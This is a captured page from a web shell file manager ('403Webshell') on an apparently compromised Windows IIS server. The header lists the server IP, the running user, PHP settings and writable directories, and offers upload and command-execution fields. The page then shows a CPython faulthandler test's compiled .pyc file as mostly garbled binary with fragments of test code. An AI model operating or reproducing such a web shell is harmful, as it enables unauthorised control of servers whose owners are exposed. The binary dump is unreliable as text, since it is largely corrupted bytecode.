403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.1
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_faulthandler.cpython-315.pyc
R
>lqj��c��]QHGs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]QH$G
s
]QH,GsG
s
GsGsGs]PHDs]PHHs]QHLGs]PHVs\
O.%f\O0Q2gQsQs\O6\2sQsQ	\0s\Q
0sQ\0s \ Q
0s!Qs"QQ
ks#Qs$\Q2s%Qs&QQ\&Q\&Q0,s'QQ\OP2s)\*Q6Xc\OV2P!P!\cPsK�h9h)�)�contextmanager)�support)�	os_helper�
script_helper�
is_android�
MS_WINDOWS�threading_helper)�dedentztest module requires subprocessg�?zStack (most recent call first):z
( \[.*\])?zThread 0x[0-9a-f]+z \(most recent call first\):zCurrent thread 0x[0-9a-f]+c�<�[OQU0P	P	Q5!)zTSAN/UBSan itercepts )�thread�ub)r�skip_if_sanitizer)�signames&�+C:\Python315\\Lib\test\test_faulthandler.py�skip_if_sanitizer_signalr$s$���$�$�'<�W�I�%F�,0�T�;�;�c��SoUQU**
oUQU**
o]U6c&QUQ*U]*
**U*!QU*Q*!)z#  File "<string>", line %s in func
z&  File "<string>", line %s in <module>�^�
�$�)�lineno1�lineno2�header�	min_count�regexs&&&& r�expected_tracebackr)sZ���E�	�
3�g�
=�=�E�	�
5��
?�?�E��9�}��e�d�l�y�1�}�5�5��=�=��U�{�S� � rc�F�[O[Q2U2!)z(raising SIGSEGV on Android is unreliable)�unittest�skipIfr)�tests&r�skip_segfault_on_androidr!2s#���?�?�:�E�G�GK�M�Mrc#� �[O2oUw�[OU2P![OS2h9h3h�N)�tempfile�mktempr�unlink��filenames r�temporary_filenamer)7s7������ �H�#�������"��	����"�s�A�7�A�A�Az0x[0-9a-f]+z:Current thread's C stack trace \(most recent call first\):z!(  Binary file ".+"(, at .*(\+|-)z)? \[z
\])|(<.+>)c�t`�\sQs]FsnQ`QksQPQP	QPQPQP	QP
QP
Q	P	Q
Q-	QksQaQ
ksQs\Q2s	\Q2s
Qs\Q2Q2s
\O\O"Q6HQ2\Q2Q22s\O\PIQ2\O(\\Q2Q2\Q2\Q2222s\O\PIQ2\O(\\Q2Q2\Q2\Q2222s\O\PIQ2Q2sQ sQ!s\O\O"O9Q"2Q#2\O\\Q$2%(Q%2Q&22s\Q'2s\Q(2s \O\O"Q6HQ)2\Q*22s!\Q+2s"\Q,2s#\Q-2s$\Q.2s%Q/s&\'OP2Q02s)\'OP2Q12s*\'OP2Q22s+QPQP-Q3ks,Q4s-Q5s.\O\O"Q6HQ)2Q62s/Q7s0Q8s1Q9s2Q:s3QbQPQP-Q;kks4Q<s5Q=s6Q>s7Q?s8\O\O"Q6HQ)2Q@2s9\'OtQA2QB2s;QCs<\\O\'OzQD2QE22s>\O\\QF2%(QG2QcQHk2s?QIs@QJsAQKsB\O\O"Q6HQ)2QL2sCQMsD\'O�QNP	QO5QP2sF\O\\QF2%(QG2QQ2sG\HQR2sIQSsJ\O(\KQT2QU2sL\O(\KQT2QV2sM\O(\KQT2QW2sN\O(\KQT2QX2sOQYsP\QO�2\O(\'OzQZ2Q[22sSQ\sTQ]sUQ^sVQ_sWUsXP!)d�FaultHandlerTestsc	�B�[U2O2o,oUdUOU2[[O
2oQo[OVV2[O29^tt^2[OQUUUQ5oU9^tt^2UO2vq�UO2o
PPP2PPP2WOQQ2oU%cSUOUP2[UQ29^tt^2oUO!2oPPP2UOQQ2oL}UdzUOUP2[O"U[O$]2[UQP
Q59^tt^2oUO!2oPPP2UOQQ2oUO'2W
1!)%fhCK9h)%fhCK 9h)%fhK�9h)%fhKo9h)aC
Run the specified code in Python (in a new child process) and read the
output from the standard error or from a file (if filename is set).
Return the output lines as a list.

Strip the reference count from the standard error for Python debug
build, and replace "Current thread 0x00007f8d8fbd9700" by "Current
thread XXX".
z
handle_segv=0�-c)�pass_fds�env�ascii�backslashreplace�rb)�closefd)r	�strip�append�dict�os�environr�set_sanitizer_env_var�SuppressCrashReportr�spawn_python�communicate�wait�decode�assertEqual�open�read�lseek�SEEK_SET�
splitlines)�self�coder(�fdr.r/�option�process�output�stderr�exitcode�fps&&&&        r�
get_output�FaultHandlerTests.get_outputHs����d�|�!�!�#����
�>��O�O�B���2�:�:���!���%�%�c�2�
�
(�
(�
*�
*�#�0�0��t�:B�58�:�G���!(�!4�!4�!6���"�<�<�>���	+����w�(:�;������V�R�(��h��%�%�������&��]�]�7�,>�?�F�
�^����V�R�(��H�H�R����a�(��b�$��.�.�"������/��]�]�7�,>�?�F�� � �"�H�,�,�����	+�
*�
*��&�%��/�.�sT�%G'�%#G	�G'�G;�H�G$
�G$
�	G'�'G8	�0G8	�;H	�H	�H	�H	r(�all_threads�other_regexrG�know_current_thread�py_fatal_error�garbage_collecting�c_stack�functionz<module>c	�l�S9%c[O2%(o
U%cU
%fU%c[oL
[oL[oQU0,oU	%cUOQ2UOP2U
%cU	%fUOQ2UOU2[O%c#U	%cU%fUOQ2L8U
%cU
%fUOQ2UOQUQU02U%cUO[2QOU2oU%c
Q	UQ
UQ0oQU0oUOVUQ
5vooQOU2oUOUU2UOU]2P!)z�
Check that the fault handler for fatal errors is enabled and check the
traceback from the child process output.

Raise an error if the output doesn't match the expected format.
rz!Python runtime state: initializedz3<Cannot show all threads while the GIL is disabled>z  <tstate is freed>z  Garbage-collectingz  File "<string>", line z in rz(?:�|�)z(?m)�r(rG)�sys�_is_gil_enabled�CURRENT_THREAD_HEADER�
THREAD_HEADER�STACK_HEADERr5r�Py_GIL_DISABLED�extend�
C_STACK_REGEX�joinrN�assertRegex�assertNotEqual)rErF�lineno�fatal_errorr(rPrQrGrRrSrTrUrV�all_threads_disabledrrrJrLs&&&&$$$$$$$$$     r�check_error�FaultHandlerTests.check_errorqs[��
�
,�
,��(�(�*�*�	��3�"�.��&��!�F��[�M�"�#����L�L�<�=�
���R�����L�L�N�O�
�����"��"�"�"�~�>Q��L�L�.�/�!�*>����3�4��L�L�4�V�H�D��
�K�L���L�L��'��	�	�%� ����%���+��a�0�E��u�g����?�?�4�r�?�J�������6�"�������'����H�a�(rc�f�U%c
U8QU80oQU*oUOVU1-U@P!)z: zFatal Python error: %s�ri)rErF�line_number�
name_regex�func�kwrgs&&&&&, r�check_fatal_error�#FaultHandlerTests.check_fatal_error�s.���%)�:�6�J�.��;������K�>�2�>rc�D�QU*oUOVU1-U@P!)zWindows fatal exception: %srl)rErFrmrnrprgs&&&&, r�check_windows_exception�)FaultHandlerTests.check_windows_exception�s!��3�j�@������K�>�2�>rc�.�UOQ]Q2P!)zs
            import faulthandler
            faulthandler.enable()
            faulthandler._sigsegv()
            �Segmentation fault�rq�rEs&r�test_sigsegv�FaultHandlerTests.test_sigsegv������� �

� �
	"rc�4�UOQ]	QQP	Q5P!)a�
            import faulthandler
            import gc
            import sys

            faulthandler.enable()

            class RefCycle:
                def __del__(self):
                    faulthandler._sigsegv()

            # create a reference cycle which triggers a fatal
            # error in a destructor
            a = RefCycle()
            b = RefCycle()
            a.b = b
            b.a = a

            # Delete the objects, not the cycle
            a = None
            b = None

            # Break the reference cycle: call __del__()
            gc.collect()

            # Should not reach this line
            print("exit", file=sys.stderr)
            rw�__del__)rVrTrxrys&r�test_gc�FaultHandlerTests.test_gc�s*��	
��� �8
� ��#�?	�	%rc	�6�UOQ]QP
QP	Q5P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler._fatal_error_c_thread()
            z
in new thread�faulthandler_fatal_error_thread)rRrorSrxrys&r�test_fatal_error_c_thread�+FaultHandlerTests.test_fatal_error_c_thread�s+����� �

�� %�2��	�		!r�SIGABRTc�.�UOQ]Q2P!)zs
            import faulthandler
            faulthandler.enable()
            faulthandler._sigabrt()
            �Abortedrxrys&r�test_sigabrt�FaultHandlerTests.test_sigabrt�s����� �

��
	r�win32z"SIGFPE cannot be caught on Windows�SIGFPEc�.�UOQ]Q2P!)zr
            import faulthandler
            faulthandler.enable()
            faulthandler._sigfpe()
            zFloating-point exceptionrxrys&r�test_sigfpe�FaultHandlerTests.test_sigfpe�s��	
��� �

�&�
	(rzneed _testcapi�SIGBUSzneed signal.SIGBUSc�.�UOQ]Q2P!)z�
            import faulthandler
            import signal

            faulthandler.enable()
            signal.raise_signal(signal.SIGBUS)
            z	Bus errorrxrys&r�test_sigbus�FaultHandlerTests.test_sigbus�s��
	
��� �
��	r�SIGILLzneed signal.SIGILLc�.�UOQ]Q2P!)z�
            import faulthandler
            import signal

            faulthandler.enable()
            signal.raise_signal(signal.SIGILL)
            zIllegal instructionrxrys&r�test_sigill�FaultHandlerTests.test_sigill
s��
	
��� �
�!�	#rc
��[O29^tt^2UOQUQ0]QQP	Q5PPP2P!)%fhP!9h)zP
                import _testcapi
                _testcapi.fatal_error(b'xyz', �)
                �xyz�_testcapi_fatal_error_impl)rorS)rr:rq)rE�release_gils&&r�check_fatal_error_func�(FaultHandlerTests.check_fatal_error_funcsW���
(�
(�
*�
*��"�"�(/�/:�m�<�$���1�#�
#�
%�+�
*�
*�
*�s�A�A	�
A	c�*�UOP
2P!)F�r�rys&r�test_fatal_error�"FaultHandlerTests.test_fatal_error)s���#�#�E�*rc�*�UOP	2P!)Tr�rys&r�test_fatal_error_without_gil�.FaultHandlerTests.test_fatal_error_without_gil,s���#�#�D�)r�openbsdzVIssue #12868: sigaltstack() doesn't work on OpenBSD if Python is compiled with pthread�_stack_overflowz#need faulthandler._stack_overflow()c�2�UOQ]QQQ5P!)zz
            import faulthandler
            faulthandler.enable()
            faulthandler._stack_overflow()
            z (?:Segmentation fault|Bus error)z unable to raise a stack overflow)rQrxrys&r�test_stack_overflow�%FaultHandlerTests.test_stack_overflow/s'��	
��� �

�.�:�	�	<rc�.�UOQ]Q2P!)zw
            import faulthandler
            faulthandler.enable()
            faulthandler._sigsegv(True)
            rwrxrys&r�test_gil_released�#FaultHandlerTests.test_gil_released>r|rc	���[29^tt^2oUOQO[U2Q5]QUQ5PPP2P!)%fhP!9h)z�
                import faulthandler
                output = open({filename}, 'wb')
                faulthandler.enable(output)
                faulthandler._sigsegv()
                r'rw)r)rq�format�repr�rEr(s& r�test_enable_file�"FaultHandlerTests.test_enable_fileHsO��
�
!�
!�X��"�"�$�
�F�D��N�F�3��$�!�
#�
#�"�
!�
!�
!�s�/A
�
A	�A	z.subprocess doesn't support pass_fds on Windowsc	���[OQ29^tt^2oUO2oUOQU*]QUQ5PPP2P!)%fhP!9h)�wb+z�
                import faulthandler
                import sys
                faulthandler.enable(%s)
                faulthandler._sigsegv()
                rw�rG)r$�
TemporaryFile�filenorq)rErMrGs&  r�test_enable_fd� FaultHandlerTests.test_enable_fdUs^���
#�
#�E�
*�
*�b�����B��"�"�$�
�$��$��
#�
�+�
*�
*�
*�s�-A�A(	� A(	c�2�UOQ]QP
Q5P!)z�
            import faulthandler
            faulthandler.enable(all_threads=False)
            faulthandler._sigsegv()
            rw�rPrxrys&r�test_enable_single_thread�+FaultHandlerTests.test_enable_single_threades%����� �

� ��	�	rc�2�UOQ]QP
Q5P!)z�
            import faulthandler
            faulthandler.enable(c_stack=False)
            faulthandler._sigsegv()
            rw)rUrxrys&r�test_enable_without_c_stack�-FaultHandlerTests.test_enable_without_c_stackps%����� �

� ��	�	rc��QoQoUOU2vq4QOU2oUOV#7U8QU802UOU]2P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler.disable()
            faulthandler._sigsegv()
            zFatal Python errorrz is present in )rNrc�
assertTruere)rErF�not_expectedrKrLs&    r�test_disable�FaultHandlerTests.test_disable{sY����,���?�?�4�0������6�"������2�.:�F�C�	E����H�a�(rc���QoUOU2vq#QOU2o[OQU[O2oU%fUOQU802[
UO]2O2OQ22oQFDoUOVe2J	QoUOU2vq#QOU2oUOQU2P!)z�
            import faulthandler
            import sys
            import math
            sys.stdlib_module_names = frozenset()
            faulthandler.enable()
            faulthandler._sigsegv()
            rz*^Extension modules:(.*) \(total: [0-9]+\)$z$Cannot find 'Extension modules:' in z, z�
            import faulthandler
            import math.integer
            faulthandler.enable()
            faulthandler._sigsegv()
            zExtension modules:)r[�faulthandler�math)rNrc�re�search�	MULTILINE�fail�set�groupr4�split�assertIn�assertNotIn)rErFrKrL�match�modules�names&      r�test_dump_ext_modules�'FaultHandlerTests.test_dump_ext_modules�s����� �?�?�4�0������6�"���	�	�G� �"�,�,�0����I�I�<�V�J�G�H��e�k�k�!�n�*�*�,�2�2�4�8�9��3�D��M�M�$�(�4�
�� �?�?�4�0������6�"�����-�v�6rc�z�[Oo[O[m[O2o[O
2UO
[O22[O2UO[O22U%c[O
2L[O2U[mP!S%c[O
2h[O2h9hS[mh9hr#)	r[rK�
__stderr__r��
is_enabled�enabler��disable�assertFalse)rE�orig_stderr�was_enableds&  r�test_is_enabled�!FaultHandlerTests.test_is_enabled�s����j�j��	%����C�J�&�1�1�3�K�	
+��#�#�%����� 7� 7� 9�:��$�$�&�� � ��!8�!8�!:�;�� �'�'�)� �(�(�*�$�C�J��� �'�'�)� �(�(�*��$�C�J�s0�.D-�A2C5�4D-�<,D-�5D*�>,D*�*D-�-
D:c��Qo[OQQU1o[OU2oUO	UO2Q2P!)�5import faulthandler; print(faulthandler.is_enabled())�-Er-�False)r[�
executable�
subprocess�check_outputr?�rstrip)rErF�argsrJs&   r�test_disabled_by_default�*FaultHandlerTests.test_disabled_by_default�sB��G������d�D�1���(�(��.���������(�3rc	�^�Qo[P[O[OO%cQLPQQQU12o[
OO2oUOQP2[OV#Q5oUOUO2Q2P!)r�r�z-Xr�r-�PYTHONFAULTHANDLER�r/�True)
�filterr[r��flags�ignore_environmentr7r8�copy�popr�r�r?r��rErFr�r/rJs&    r�test_sys_xoptions�#FaultHandlerTests.test_sys_xoptions�s���G���d�S�^�^�%(�Y�Y�%A�%A�%A�T�r�!�>�4��?�@���j�j�o�o������$�d�+��(�(��7���������'�2rc��Qo[OQU1o[[O2oPUQ$PUQ$[
OV#Q5oUOUO2Q2[[O2oQUQ$PUQ$[
OV#Q5oUOUO2Q2P!)r�r-r��
PYTHONDEVMODEr�r��1r�)	r[r�r6r7r8r�r�r?r�r�s&    r�test_env_var�FaultHandlerTests.test_env_var�s���G������d�+���2�:�:���$&�� �!�!��O���(�(��7���������(�3��2�:�:���$'�� �!�!��O���(�(��7���������'�2rc���QoUOUUQ5oU%c]	oL	Ud]oL]o[QU*QQ,oUOV1U2vqgUOVe2UOU]2P!)z�
Explicitly call dump_traceback() function and check its output.
Raise an error if the output doesn't match the expected format.
a[
            import faulthandler

            filename = {filename!r}
            fd = {fd}

            def funcB():
                if filename:
                    with open(filename, "wb") as fp:
                        faulthandler.dump_traceback(fp, all_threads=False)
                elif fd is not None:
                    faulthandler.dump_traceback(fd,
                                                all_threads=False)
                else:
                    faulthandler.dump_traceback(all_threads=False)

            def funcA():
                funcB()

            funcA()
            rZz#  File "<string>", line %s in funcBz#  File "<string>", line 17 in funcAz&  File "<string>", line 19 in <module>�r��STACK_HEADER_STRrNr?)rEr(rGrFrf�expected�tracerLs&$$     r�check_dump_traceback�&FaultHandlerTests.check_dump_traceback�s���
��*�{�{����
����F�
�^��F��F�� �1�F�:�1�4�	
���/�/�$�"�=�������)�����1�%rc�(�UO2P!r#)rrys&r�test_dump_traceback�%FaultHandlerTests.test_dump_tracebacks���!�!�#rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9h�r')r)rr�s& r�test_dump_traceback_file�*FaultHandlerTests.test_dump_traceback_files-��
�
!�
!�X��%�%�x�%�8�"�
!�
!�
!���1�A	�A	c��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9h�r�r�)r$r�rr��rErMs& r�test_dump_traceback_fd�(FaultHandlerTests.test_dump_traceback_fds=���
#�
#�E�
*�
*�b��%�%�����%�5�+�
*�
*�
*���!A�A	�A	c��QoQU]2**oQU*Q*oQoUOUQ5o[QU*Q,oUOU2vqgUOVe2UOU]2P!)���xz...z�
            import faulthandler

            def {func_name}():
                faulthandler.dump_traceback(all_threads=False)

            {func_name}()
            )�	func_namez  File "<string>", line 4 in %sz%  File "<string>", line 6 in <module>r�)rE�maxlenr�	truncatedrFrrrLs&       r�
test_truncate�FaultHandlerTests.test_truncate%s������6�B�;�'�	��&�L�5�(�	����{�{���
�� � �-�	�9�3�
��
�/�/�$�/�������)�����1�%rc�D�QoUO[U2Q5oUOV!2vq4QOU2oU%c]oL]
oQ[Q[
QUQ0o[
U2O2oUOV62UOU]2P!)z�
Call explicitly dump_traceback(all_threads=True) and check the output.
Raise an error if the output doesn't match the expected format.
a�
            import faulthandler
            from threading import Thread, Event
            import time

            def dump():
                if {filename}:
                    with open({filename}, "wb") as fp:
                        faulthandler.dump_traceback(fp, all_threads=True)
                else:
                    faulthandler.dump_traceback(all_threads=True)

            class Waiter(Thread):
                # avoid blocking if the main thread raises an exception.
                daemon = True

                def __init__(self):
                    Thread.__init__(self)
                    self.running = Event()
                    self.stop = Event()

                def run(self):
                    self.running.set()
                    self.stop.wait()

            waiter = Waiter()
            waiter.start()
            waiter.running.wait()
            dump()
            waiter.stop.set()
            waiter.join()
            r'rz
            ^a
            (?:  File ".*threading.py", line [0-9]+ in [_a-z]+
            ){1,3}  File "<string>", line (?:22|23) in run
              File ".*threading.py", line [0-9]+ in _bootstrap_inner
              File ".*threading.py", line [0-9]+ in _bootstrap

            z%
              File "<string>", line zI in dump
              File "<string>", line 28 in <module>$
            )
r�r�rNrcr^r]r	r4rdr?)rEr(rFrJrLrfrs&&     r�check_dump_traceback_threads�.FaultHandlerTests.check_dump_traceback_threads=s���
��@�{�{�D��N�{�3���?�?�4�:������6�"����F��F���_�
�#�#�$%�%+�H�-
�
���u�
�#�#�%������'�����1�%rc�*�UOP2P!r#)rrys&r�test_dump_traceback_threads�-FaultHandlerTests.test_dump_traceback_threadszs���)�)�$�/rc��[29^tt^2oUOU2PPP2P!)%fhP!9hr#)r)rr�s& r� test_dump_traceback_threads_file�2FaultHandlerTests.test_dump_traceback_threads_file}s*��
�
!�
!�X��-�-�h�7�"�
!�
!�
!�s�0�A	�A	c	��[[O[Q52oQoUO	[UUUUUQ5oUOVt2vq�QO
U2oU%fASo
U%c
U
]*o
QUQ[Q0o[]]V�Q5oUOV�2LUOUP2UOU	]2P!)	z�
Check how many times the traceback is written in timeout x 2.5 seconds,
or timeout x 3.5 seconds if cancel is True: 1, 2 or 3 times depending
on repeat and cancel options.

Raise an error if the output doesn't match the expect format.
)�secondsa�
            import faulthandler
            import time
            import sys

            timeout = {timeout}
            repeat = {repeat}
            cancel = {cancel}
            loops = {loops}
            filename = {filename!r}
            fd = {fd}

            def func(timeout, repeat, cancel, file, loops):
                for loop in range(loops):
                    faulthandler.dump_traceback_later(timeout, repeat=repeat, file=file)
                    if cancel:
                        faulthandler.cancel_dump_traceback_later()
                    time.sleep(timeout * 5)
                    faulthandler.cancel_dump_traceback_later()

            if filename:
                file = open(filename, "wb")
            elif fd is not None:
                file = sys.stderr.fileno()
            else:
                file = None
            func(timeout, repeat, cancel, file, loops)
            if filename:
                file.close()
            )�timeout�repeat�cancel�loopsr(rGrz
Timeout \(z\)!\n�\n)r)�str�datetime�	timedelta�TIMEOUTr�rNrcr^rrdr?)
rEr&r'r(r(rG�timeout_strrFrrL�countrrs
&&&&$$       r�check_dump_traceback_later�,FaultHandlerTests.check_dump_traceback_later�s����(�,�,�W�=�>����<�{�{�������
�
���/�/�$�9����	�	�%� ����E����
��#�K�=��'���,�F�&�r�2�v�G�E����U�*����U�B�'�����1�%rc�(�UO2P!r#�r0rys&r�test_dump_traceback_later�+FaultHandlerTests.test_dump_traceback_later�s���'�'�)rc�,�UOP	Q5P!)T)r&r3rys&r� test_dump_traceback_later_repeat�2FaultHandlerTests.test_dump_traceback_later_repeat�����'�'�t�'�4rc�,�UOP	Q5P!)T)r'r3rys&r� test_dump_traceback_later_cancel�2FaultHandlerTests.test_dump_traceback_later_cancel�r9rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9hr)r)r0r�s& r�test_dump_traceback_later_file�0FaultHandlerTests.test_dump_traceback_later_file�s-��
�
!�
!�X��+�+�X�+�>�"�
!�
!�
!�rc��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9hr
)r$r�r0r�rs& r�test_dump_traceback_later_fd�.FaultHandlerTests.test_dump_traceback_later_fd�s=���
#�
#�E�
*�
*�b��+�+�r�y�y�{�+�;�+�
*�
*�
*�r�walltimec�,�UO]Q5P!)�)r(r3rys&r�test_dump_traceback_later_twice�1FaultHandlerTests.test_dump_traceback_later_twice�s���'�'�a�'�0rc���[Q2O2o[OQU2oUOoUOQU2UO
UOQ2]2P!)a�
            import faulthandler
            import sys
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            threads = [threading.Thread(target=worker) for _ in range(NTHREADS)]
            for t in threads:
                t.start()
            ready.wait()
            try:
                faulthandler.dump_traceback(file=sys.stderr, max_threads=CAP)
            finally:
                stop.set()
                for t in threads:
                    t.join()
        r-�
...
�	Thread 0x�r	r4r�assert_python_ok�errr�r?r/�rErF�procrJs&   r�test_dump_traceback_max_threads�1FaultHandlerTests.test_dump_traceback_max_threads�sc����
�2�U�W�3	
�4�-�-�d�D�9�������
�
�j�&�)�������l�3�Q�7rzKfatal-signal handler only dumps the current thread when the GIL is disabledc���[Q2O2oUOU2vq#QOU2oUO	QU2UOU]2P!)a�
            import faulthandler
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            for _ in range(NTHREADS):
                threading.Thread(target=worker, daemon=True).start()
            ready.wait()
            faulthandler.enable(max_threads=CAP)
            faulthandler._sigsegv()
        rz
...
)r	r4rNrcr�re�rErFrJrLs&   r�test_enable_max_threads�)FaultHandlerTests.test_enable_max_threads�s^����
�&�U�W�'	
�( �?�?�4�0������6�"���
�
�i��(����H�a�(r�registerzneed faulthandler.registerc	��[OoQoUOUUUUUUQ5oUOVq2vq�QO	U2oU%f;U%c[
Q0o
L	[Q0o
[]] U
2o
UOV�2LUOUP2U%cUOU	]2P!UOU	]2P!)z�
Register a handler displaying the traceback on a user signal. Raise the
signal and check the written traceback.

If chain is True, check that the previous signal handler is called.

Raise an error if the output doesn't match the expected format.
az
            import faulthandler
            import os
            import signal
            import sys

            all_threads = {all_threads}
            signum = {signum:d}
            unregister = {unregister}
            chain = {chain}
            filename = {filename!r}
            fd = {fd}

            def func(signum):
                os.kill(os.getpid(), signum)

            def handler(signum, frame):
                handler.called = True
            handler.called = False

            if filename:
                file = open(filename, "wb")
            elif fd is not None:
                file = sys.stderr.fileno()
            else:
                file = None
            if chain:
                signal.signal(signum, handler)
            faulthandler.register(signum, file=file,
                                  all_threads=all_threads, chain={chain})
            if unregister:
                faulthandler.unregister(signum)
            func(signum)
            if chain and not handler.called:
                if file is not None:
                    output = file
                else:
                    output = sys.stderr
                print("Error: signal handler not called!", file=output)
                exitcode = 1
            else:
                exitcode = 0
            if filename:
                file.close()
            sys.exit(exitcode)
            )rP�signum�
unregister�chainr(rGrr))�signal�SIGUSR1r�rNrcr]r_rrdr?re)rEr(rPrYrZrGrXrFrrLrs&&&&&&     r�check_register� FaultHandlerTests.check_registers�������-��\�{�{�#��!����
�
���/�/�$�9����	�	�%� ����1�2�"�5��(�>��,��&�r�2�u�5�E����U�*����U�B�'������!�,����X�q�)rc�(�UO2P!r#�r]rys&r�
test_register�FaultHandlerTests.test_registerps�����rc�,�UOP	Q5P!)T)rYr`rys&r�test_unregister�!FaultHandlerTests.test_unregisterss�����t��,rc��[29^tt^2oUOUQ5PPP2P!)%fhP!9hr)r)r]r�s& r�test_register_file�$FaultHandlerTests.test_register_filevs-��
�
!�
!�X������2�"�
!�
!�
!�rc��[OQ29^tt^2oUOUO2Q5PPP2P!)%fhP!9hr
)r$r�r]r�rs& r�test_register_fd�"FaultHandlerTests.test_register_fdzs=���
#�
#�E�
*�
*�b����2�9�9�;��/�+�
*�
*�
*�rc�,�UOP	Q5P!)Tr�r`rys&r�test_register_threads�'FaultHandlerTests.test_register_threads�s�������-rzgh-129825: hangs under TSAN)rc�,�UOP	Q5P!)T)rZr`rys&r�test_register_chain�%FaultHandlerTests.test_register_chain�s�����$��'rc���[Q2O2o[OQU2oUOoUOQU2UO
UOQ2]2P!)a
            import faulthandler
            import signal
            import threading

            NTHREADS = 6
            CAP = 3

            ready = threading.Barrier(NTHREADS + 1)
            stop = threading.Event()

            def worker():
                ready.wait()
                stop.wait()

            threads = [threading.Thread(target=worker) for _ in range(NTHREADS)]
            for t in threads:
                t.start()
            ready.wait()
            try:
                faulthandler.register(signal.SIGUSR1, all_threads=True,
                                      max_threads=CAP)
                signal.raise_signal(signal.SIGUSR1)
            finally:
                stop.set()
                for t in threads:
                    t.join()
        r-rIrJrKrNs&   r�test_register_max_threads�+FaultHandlerTests.test_register_max_threads�sc��
��
�6�U�W�7	
�8�-�-�d�D�9�������
�
�j�&�)�������l�3�Q�7rc#�D �[OoP[mUO[29^tt^2oPw�PPP2UO	[WO2Q2U[mP!)%fhKB9hS[mh9h3h)Nzsys.stderr is None)r[rK�assertRaises�RuntimeErrorr?r*�	exception)rErK�cms&  r�check_stderr_none�#FaultHandlerTests.check_stderr_none�sh�������	 ��C�J��"�"�<�0�0�B��1����S����.�0D�E��C�J�	1�0�� �C�J�s9�B �(B�A=�-B�0
B �=B
	�B
	�B�
B�B c��UO29^tt^2[O2PPP2UO29^tt^2[O2PPP2UO29^tt^2[OQ2PPP2[[Q2%cHUO29^tt^2[O[O2PPP2P!P!)%fhK�9h)%fhK�9h)%fhK�9h)%fhP!9h)Ng����MbP?rV)	rzr�r��dump_traceback�dump_traceback_later�hasattrrVr[r\rys&r�test_stderr_None�"FaultHandlerTests.test_stderr_None�s����
#�
#�
%�
%����!�&�
�
#�
#�
%�
%��'�'�)�&�
�
#�
#�
%�
%��-�-�d�3�&��<��,�,��'�'�)�)��%�%�f�n�n�5�*�)�-�
&�
%��
%�
%��
%�
%��*�)�)�sG�D�D�D*�%D=�D	�
D	�D'	� D'	�*D:	�3D:	�=E	�E	zspecific to Windowsc�N�QFDvqUOQUQ0]U2J	P!)�EXCEPTION_ACCESS_VIOLATIONz�
                import faulthandler
                faulthandler.enable()
                faulthandler._raise_exception(faulthandler._r�))r�zaccess violation)�EXCEPTION_INT_DIVIDE_BY_ZEROzint divide by zero)�EXCEPTION_STACK_OVERFLOWzstack overflow)rt)rE�excr�s&  r�test_raise_exception�&FaultHandlerTests.test_raise_exception�s@��
�I�C�

�(�(�.=�>A�E�B�*�
��

�
rc��QFDJoQUQ0o[U2oUOU2vq4UOU,2UOVA2JL	P!)�cs�@z�
                    import faulthandler
                    faulthandler.enable()
                    faulthandler._raise_exception(z)
                    )r�lRC�@�r	rNr?)rE�exc_coderFrJrLs&    r�test_ignore_exception�'FaultHandlerTests.test_ignore_exception�s`��
�H�3�4<�*�=��D�
�$�<�D�#���t�4��F����V�R�(����X�0�
rc��QFDGoUOQUQ
Q02vq#UOU,2UOUVQ*12JI	P!)rz{
                import faulthandler
                faulthandler.enable()
                faulthandler._raise_exception(0xrr�)ri�xV4i@i@ipi���i����)rNr?r�)rEr�rJrLs&   r�test_raise_nonfatal_exception�/FaultHandlerTests.test_raise_nonfatal_exception�sf��
�C� $���41�25�Q��8�0� ��F�
���V�R�(�
�M�M�(��k� 1�2�
4�#
rc��[Q2oUOU2vq#UOU,2UOUQ2P!)z�
            import faulthandler
            faulthandler.enable()
            faulthandler.disable()
            code = faulthandler._EXCEPTION_ACCESS_VIOLATION
            faulthandler._raise_exception(code)
        lr�rSs&   r� test_disable_windows_exc_handler�2FaultHandlerTests.test_disable_windows_exc_handlersD����
�� �?�?�4�0��������$�����:�.rc��[Q2oUOU2vq#UOU,2UOU]2P!)z`
            import faulthandler
            faulthandler.cancel_dump_traceback_later()
        r�rSs&   r�.test_cancel_later_without_dump_traceback_later�@FaultHandlerTests.test_cancel_later_without_dump_traceback_latersF����
�� �?�?�4�0��������$�����1�%rz&only meaningful if the GIL is disabledc�h�[Q2oUOU2vq#UOU]2P!)aL
        import faulthandler
        from threading import Thread, Event

        class Waiter(Thread):
            def __init__(self):
                Thread.__init__(self)
                self.running = Event()
                self.stop = Event()

            def run(self):
                self.running.set()
                self.stop.wait()

        for _ in range(100):
            waiter = Waiter()
            waiter.start()
            waiter.running.wait()
            faulthandler.dump_traceback(all_threads=True)
            waiter.stop.set()
            waiter.join()
        r�)rErF�_rLs&   r�!test_free_threaded_dump_traceback�3FaultHandlerTests.test_free_threaded_dump_tracebacks5����
��,�o�o�d�+�������1�%rc	�d�UO]2oUOU[]*2UO[	U2]2SFDJoUOUQ59^tt^2UP6wcUOU[]*2PPP2JL	P!)%fhJa9h)r)�line)r�rdrb�
assertGreater�len�subTest)rErJ�
starting_liner�s&&  r�
check_c_stack�FaultHandlerTests.check_c_stack7s����
�
�1�
�
�����
�a�(8�9����3�v�;��*��D����4��(�(��2�:��$�$�T�=��+;�<�)�(��(�(�(�s�+B	�3B	�B/
�'B/
c��[Q2oUOU2vq#UOU]2UOU2P!)zI
